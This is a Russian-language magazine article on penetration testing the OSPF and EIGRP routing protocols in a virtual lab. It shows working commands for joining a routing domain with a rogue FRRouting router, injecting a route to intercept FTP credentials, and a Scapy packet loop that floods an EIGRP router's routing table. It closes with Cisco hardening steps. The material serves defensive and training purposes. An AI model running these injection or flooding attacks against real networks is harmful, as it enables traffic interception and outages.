Хакер - Routing nightmare. Как пентестить протоколы динамической маршрутизации OSPF и EIGRP
hacker_frei
C0ldheim
Содержание статьи
- Проблематика, импакт и вооружение
- Протокол OSPF
- Протокол EIGRP
- Импакт
- Вооружение с FRRouting
- Настройка FRRouting
- Виртуальная лаборатория
- Инъекция маршрутов и перехват трафика в домене OSPF
- Инъекция маршрутов и переполнение таблицы маршрутизации в домене EIGRP
- Меры предотвращения атак на домены маршрутизации
- Выводы
Волшебство и очарование протоколов динамической маршрутизации бывает обманчивым — администраторы им доверяются и могут забыть о настройке защитных средств. В этой статье я расскажу, какие кошмары могут возникнуть в сети, если админ не позаботился о безопасности доменов роутинга OSPF и EIGRP.
WARNING
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Динамическая маршрутизация применяется в каждой крупной корпоративной сети. Роутеры в сети обмениваются маршрутной информацией друг с другом автоматически, чтобы администратор сети не обходил их и не прописывал маршруты вручную. В большинстве случаев он не трогает и настройки защитных механизмов. И это открывает дорогу для эксплуатации.
INFO
Имей в виду, что протоколы OSPF и EIGRP относятся к классу протоколов внутридоменной динамической маршрутизации (IGP). То есть эти протоколы используются для передачи маршрутной информации в пределах одной автономной системы (AS). Для удобства можешь представлять ее себе как сеть некоторой организации.
ПРОБЛЕМАТИКА, ИМПАКТ И ВООРУЖЕНИЕ
Протокол OSPF
OSPF (Open Shortest Path First) относится к типу протоколов, основанных на отслеживании состояния канала. Атаковать OSPF немного сложнее, чем его родственника EIGRP. Помешать этому могут две вещи:
- наличие нескольких зон OSPF. Инженеры могут спроектировать домен маршрутизации OSPF с несколькими зонами, чтобы уменьшить нагрузку на вычислительные ресурсы маршрутизаторов. Необходимо учитывать это в домене маршрутизации OSPF, как и возможность прохождения пакетов между этими зонами. Например, если ты собираешься выполнять инъекции маршрутов;
- отсутствие реакции на запросы. Для подключения к домену маршрутизации необходимо, чтобы ложный маршрутизатор генерировал и принимал сообщения
Helloот соседей и воспроизводил установление соседства с ними. Иначе ложный роутер будет признан «мертвым» и выпадет из домена маршрутизации, делая невозможными дальнейшие шаги со стороны атакующего.

Оптимальный вариант для атаки на домен OSPF — это получение контроля над легитимным маршрутизатором в сети. Как вариант можно на своей стороне создать «злой» виртуальный роутер и подключаться к домену. Однако, чтобы подключиться к домену маршрутизации, атакующий должен провести анализ мультикастовых пакетов OSPF и изучить следующие параметры в пакете:
- OSPF Hello Interval;
- OSPF Dead Interval;
- наличие аутентификации.
Даже несмотря на то, что OSPF может быть защищен с помощью аутентификации и пароли хранятся в виде хешей MD5, у атакующего остается шанс подобрать их.

Протокол EIGRP
EIGRP (Enhanced Interior Gateway Routing Protocol) относится к классу дистанционно‑векторных протоколов. Он был разработан инженерами Cisco Systems в качестве замены протокола IGRP. Маршрутизаторы EIGRP обмениваются маршрутной информацией, используя алгоритм диффузного обновления (DUAL) для расчета маршрутов в рамках одной AS. EIGRP хранит в таблице маршрутизации все доступные резервные маршруты к сетям назначения, что позволяет в крайнем случае быстро переключиться на запасной маршрут.

INFO
Знаешь ли ты, что протокол EIGRP больше не проприетарный протокол Cisco и теперь открыт для других вендоров сетевого оборудования? EIGRP стал открытым стандартом в 2013 году, а информационный документ RFC 7868 был опубликован в 2016 году.
Чтобы злоумышленник смог подключиться к домену маршрутизации EIGRP, он должен знать номер автономной системы. Узнать его он может, например, из дампа трафика в Wireshark. В отличие от домена OSPF, который может быть разделен на несколько зон маршрутизации, автономная система EIGRP плоская, то есть, если ты проведешь инъекцию маршрута, скорее всего, твой маршрут распространится по всему домену.
Импакт
Атаки на динамическую маршрутизацию можно разбить на три типа:
- Перечисление сети. Если злоумышленник подключится к домену маршрутизации, то он сможет провести сетевую разведку и обнаружить некоторые подсети. Это достаточно полезный трюк, поскольку классическое сканирование, например с использованием того же Nmap, идет долго. Не говоря уже о том, что могут сработать системы безопасности IDS/IPS. Просто присоединившись к домену маршрутизации, мы сможем получить информацию о подсетях, анонсируемых соседскими маршрутизаторами. Заметь, этот способ вовсе не гарантирует того, что ты сможешь обнаружить все подсети в организации. Но может привести тебя к более легкой победе во время пентеста.
- MITM (man in the middle). Суть этой атаки заключается в инъекции маршрута, чтобы затем перехватить трафик с целевого хоста или же сети. После подключения к домену маршрутизации ты можешь в домене сделать анонс, который буквально выглядит так: «Уважаемые, хост под IP-адресом 192.168.1.43/24 теперь доступен через меня, 192.168.1.150». Маршрутизаторы в домене примут новую информацию и поместят анонсированный тобой маршрут в таблицу маршрутизации. Стоит только учитывать, что в контексте маршрутизации есть понятие метрики. Если твой маршрут по цене пути будет хуже, чем остальные, то он не попадет в таблицу маршрутизации. Почему? Потому что в таблице маршрутизации хранятся только лучшие пути до сетей назначения.
- DoS (Denial of Service). Переполнение таблицы маршрутизации. При этом у роутера истощаются все ресурсы центрального процессора и оперативной памяти. При переполнении таблицы маршрутизации добавить новый легитимный маршрут станет невозможно. Маршрутизатор не сможет добавить к себе маршрут новой появившейся сети.
Вооружение с FRRouting
FRRouting — это опенсорсное решение, предназначенное для создания виртуального маршрутизатора в Unix/Linux. FRRouting позволяет реализовать виртуальный маршрутизатор, поддерживающий протоколы BGP, OSPF, EIGRP, RIP и другие.
С помощью FRRouting мы сможем поднять на своей стороне «злой» маршрутизатор, запустить роутинг и подключиться к целевому домену маршрутизации. Зачем это нужно? Например, если мы проведем ту же инъекцию маршрутов без подключения к домену и установления соседства, то анонсируемые нами маршруты не попадут в таблицу маршрутизации соседей. Они просто улетят в никуда.
WWW
У FRRouting есть отличная документация по установке и настройке. Советую ознакомиться.
Настройка FRRouting
Для начала нам нужно активировать работу демонов в конфигурационном файле daemons. Нас интересуют демоны ospfd и eigrpd. Также необходимо активировать работу демона staticd, чтобы редистрибуция настраиваемых статических маршрутов работала корректно.
nano /etc/frr/daemons
ospfd=yes
eigrpd=yes
staticd=yes
Далее нужно назначить пароль для подключения к панели управления маршрутизатором через линии VTY:
nano /etc/frr/frr.conf
password letm3in
Также необходимо разрешить форвардинг трафика. По умолчанию в дистрибутивах Linux он отключен.
sudo sysctl -w net.ipv4.ip_forward=1
Запускаем демон frr.
systemctl start frr

С помощью команды vtysh попадаем в панель управления виртуальным маршрутизатором FRRouting.

ВИРТУАЛЬНАЯ ЛАБОРАТОРИЯ
В качестве сетевого полигона для практического разбора атак выступят сети, изображенные на схемах ниже.



В контексте атаки на OSPF я рассмотрю инъекцию маршрута с перехватом трафика. Что касается EIGRP — разберем разрушительную атаку с переполнением таблицы маршрутизации (чтобы не демонстрировать одну и ту же атаку и рассмотреть два варианта нападения). OSPF можно атаковать так же, как и EIGRP. Однако стоит учитывать, что разрушительные атаки в продакшене менее практичны. Думаю, такой сценарий будет полезен для Red Team в качестве отвлекающего маневра.
ИНЪЕКЦИЯ МАРШРУТОВ И ПЕРЕХВАТ ТРАФИКА В ДОМЕНЕ OSPF
Для успешного проведения инъекции маршрута нам необходимо подключиться к домену маршрутизации OSPF и объявить сеть. Указываем нулевую зону (area 0).
c0ldheim@kali:~$ sudo vtysh
kali# conf t
kali(config)# router ospf
kali(config-router)# network 172.20.20.50/32 area 0.0.0.0

Включаем редистрибуцию статических маршрутов с наименьшей метрикой, чтобы у внедренного маршрута была самая низкая стоимость.
kali(config-router)# redistribute static metric 0
Анонсируем в домене OSPF статический маршрут. «Хост под IP-адресом 172.20.20.20 теперь доступен через меня — 172.20.20.50».
kali(config)# ip route 172.20.20.20/32 eth0

Проверим таблицу маршрутизации на роутере R2.
R2#show ip route
Codes: L - local, C - connected, S - static, R - RIP, M - mobile, B - BGP
D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
E1 - OSPF external type 1, E2 - OSPF external type 2
i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
ia - IS-IS inter area, * - candidate default, U - per-user static route
o - ODR, P - periodic downloaded static route, H - NHRP, l - LISP
a - application route
+ - replicated route, % - next hop override, p - overrides from PfR
Gateway of last resort is not set
10.0.0.0/8 is variably subnetted, 2 subnets, 2 masks
C 10.1.1.0/24 is directly connected, GigabitEthernet0/0
L 10.1.1.2/32 is directly connected, GigabitEthernet0/0
172.20.0.0/16 is variably subnetted, 4 subnets, 2 masks
C 172.20.20.0/24 is directly connected, GigabitEthernet0/2
O E2 172.20.20.20/32
[110/0] via 172.20.20.50, 00:02:27, GigabitEthernet0/2
L 172.20.20.254/32 is directly connected, GigabitEthernet0/2
O 172.20.30.0/24 [110/2] via 10.1.1.3, 01:08:17, GigabitEthernet0/0
R2#
Как видим, инъекция маршрута прошла успешно. Теперь маршрутизатор R2 считает, что хост по адресу 172.20.20.20 доступен через нашу атакующую машину.
Дальше попробуем с хоста DevOps подключиться к серверу FTP по адресу 172.20.30.100.

В итоге мы смогли вклиниться между хостом и сервером FTP и перехватить незашифрованные учетные данные.

ИНЪЕКЦИЯ МАРШРУТОВ И ПЕРЕПОЛНЕНИЕ ТАБЛИЦЫ МАРШРУТИЗАЦИИ В ДОМЕНЕ EIGRP
Для начала нужно подключиться к автономной системе EIGRP и объявить сеть.
c0ldheim@kali:~$ sudo vtysh
kali# conf t
kali(config)# router eigrp 1
kali(config-router)# network 172.20.20.50/32

В этот раз для инъекции маршрутов EIGRP я буду использовать сетевую библиотеку Scapy.
c0ldheim@kali:~$ sudo scapy3
>>> from scapy.contrib.eigrp import * # Импорт модуля для работы с заголовками протокола EIGRP
>>> frame = Ether(dst="01:00:5e:00:00:0a") # Сборка кадра Ethernet с MAC-адресом назначения мультикастовой рассылки
>>> ip = IP(src="172.20.20.50", dst="224.0.0.10") # Сборка IP-пакета с IP-адресом назначения мультикастовой рассылки EIGRP
>>> eigrp = EIGRP(opcode=1, asn=1, seq=0, ack=0, tlvlist=[EIGRPExtRoute(dst=RandIP(), nexthop="172.20.20.50")]) # Сборка пакета EIGRP с опцией Update
>>> crafted = frame/ip/eigrp # Сборка трех слоев воедино
>>> sendp(crafted, loop=1, iface="eth0") # Зациклить бесконечную отправку собранного вредоносного пакета EIGRP

Если мы войдем в панель управления маршрутизатора, то увидим, что нагрузка на центральный процессор значительно поднялась — до 87%.


R2#show ip route summary
IP routing table name is default (0x0)
IP routing table maximum-paths is 32
Route Source Networks Subnets Replicates Overhead Memory (bytes)
connected 0 6 0 408 1080
static 1 0 0 68 180
application 0 0 0 0 0
eigrp 1 481 3088 0 328348 642420
internal 1192 358080
Total 1674 3094 0 328824 1001760
При переполнении таблицы маршрутизации роутер не сможет поместить в свою таблицу маршрутизации новые маршруты.
МЕРЫ ПРЕДОТВРАЩЕНИЯ АТАК НА ДОМЕНЫ МАРШРУТИЗАЦИИ
Использование пассивных интерфейсов. Настройка пассивных интерфейсов в контексте динамической маршрутизации позволяет роутеру запретить рассылать объявления через некоторые интерфейсы. По умолчанию без настройки пассивных интерфейсов он рассылает объявления во все интерфейсы, а это подвергает домен маршрутизации большому риску. Легитимный пользователь, находящийся в сети, может точно так же поднять виртуальный маршрутизатор, как сделали мы с тобой, и атаковать домен маршрутизации.
INFO
В этой статье я ориентируюсь на принципы и команды Cisco IOS CLI.
Пример настройки для OSPF:
R2#conf t # Вход в режим глобальной конфигурации
R2(config)# router ospf 1 # Вход в режим конфигурации OSPF под процессом 1
R2(config-router)# passive-interface GigabitEthernet 0/2 # Назначаем интерфейс пассивным
Пример настройки для EIGRP:
R2#conf t # Вход в режим глобальной конфигурации
R2(config)# router eigrp 1 # Вход в режим конфигурации EIGRP автономной системы 1
R2(config-router)# passive-interface GigabitEthernet 0/2 # Назначаем интерфейс пассивным
Использование аутентификации. Применение аутентификации в доменах маршрутизации позволяет обеспечить возможность входа только авторизованным, легитимным маршрутизаторам. Однако аутентификация настраивается с помощью паролей. Если ты собираешься защитить домен маршрутизации, используя аутентификацию, обязательно позаботься, чтобы эти пароли были достаточно стойкими. Они хешируются с помощью криптографических хеш‑функций, и злоумышленник сможет считать значения хешей из дампа трафика и вскрыть пароль перебором. С полученным паролем он без труда подключится к домену маршрутизации.
Пример настройки аутентификации для OSPF с использованием MD5:
R2#conf t # Вход в режим глобальной конфигурации
R2(config)# interface GigabitEthernet 0/1 # Вход в режим конфигурации интерфейса
R2(config-if)# ip ospf authentication message-digest # Включение аутентификации по MD5
R2(config-if)# ip ospf message-digest-key 1 md5 y0ur_f4ult # Назначение пароля с key-id 1
Пример настройки аутентификации для EIGRP с использованием key-chain и MD5:
R2#conf t # Вход в режим глобальной конфигурации
R2(config)# key chain SecureRouting # Создание ключевой цепочки под названием SecureRouting
R2(config-keychain)# key 1 # Создание первого ключа
R2(config-keychain-key)# key-string y0ur_f4ult # Назначение пароля
R2(config-keychain-key)# accept-lifetime 20:00:00 mar 1 2022 20:00:00 mar 2 2022 # Указание промежутка времени, в течение которого маршрутизатор будет принимать ключ от соседа
R2(config-keychain-key)# send-lifetime 20:00:00 mar 1 2022 20:00:00 mar 2 2022 # Указание промежутка времени, в течение которого маршрутизатор будет посылать ключ соседу
R2(config-keychain)# key 2 # Когда закончится действие первого ключа, автоматически будет использован второй ключ. Создаем второй ключ
R2(config-keychain-key)# key-string y0ur_des1re # Назначение пароля
R2(config-keychain-key)# accept-lifetime 20:00:00 mar 2 2022 20:00:00 mar 3 2022 # Указание промежутка времени, в течение которого маршрутизатор будет принимать ключ от соседа
R2(config-keychain-key)# send-lifetime 20:00:00 mar 2 2022 20:00:00 mar 3 2022 # Указание промежутка времени, в течении которого маршрутизатор будет посылать ключ соседу
R2(config)# interface GigabitEthernet 0/1 # Вход в режим конфигурации интерфейса
R2(config-if)# ip authentication mode eigrp 1 md5 # Включение аутентификации по MD5 для автономной системы EIGRP 1
R2(config-if)# ip authentication key-chain eigrp 1 SecureRouting # Назначение ключевой цепочки, которая будет использоваться для аутентификации в автономной системе EIGRP.
ВЫВОДЫ
В этой статье я разобрал сценарий атак на протоколы динамической маршрутизации OSPF и EIGRP. Исходя из личного опыта тестирования на проникновение компьютерных сетей, скажу, что в большинстве случаев сетевые администраторы оставляют без внимания конфигурацию защитных механизмов протоколов. Чаще всего встречается конфигурация OSPF/EIGRP без аутентификации и без настройки пассивных интерфейсов. Такое отношение к доменам маршрутизации подвергает безопасность локальной сети большому риску.
Пентестеры после прочтения этой статьи должны взять себе на заметку описанные атаки, а сетевые администраторы смогут сделать домен маршрутизации безопаснее.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei